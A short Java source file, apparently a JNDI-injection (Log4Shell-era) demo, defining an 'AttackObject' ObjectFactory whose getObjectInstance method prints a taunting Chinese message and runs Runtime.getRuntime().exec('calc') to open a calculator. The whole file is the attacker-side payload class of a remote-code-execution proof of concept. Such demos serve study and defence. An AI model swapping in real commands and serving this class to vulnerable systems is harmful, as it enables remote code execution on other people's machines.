package com.hi.zack.demo.rmi;


import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.time.LocalDateTime;
import java.util.Hashtable;

/**
 * 攻击者
 *
 * @author Zack
 * @since 2021/12/13
 */
public class AttackObject implements ObjectFactory {

    public AttackObject() {
        System.out.println("执行了攻击者程序的构造方法。。。");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("你被攻击了，哈哈哈。。。打开计算器！");

        Runtime.getRuntime().exec("calc");

        return LocalDateTime.now().toString();
    }
}
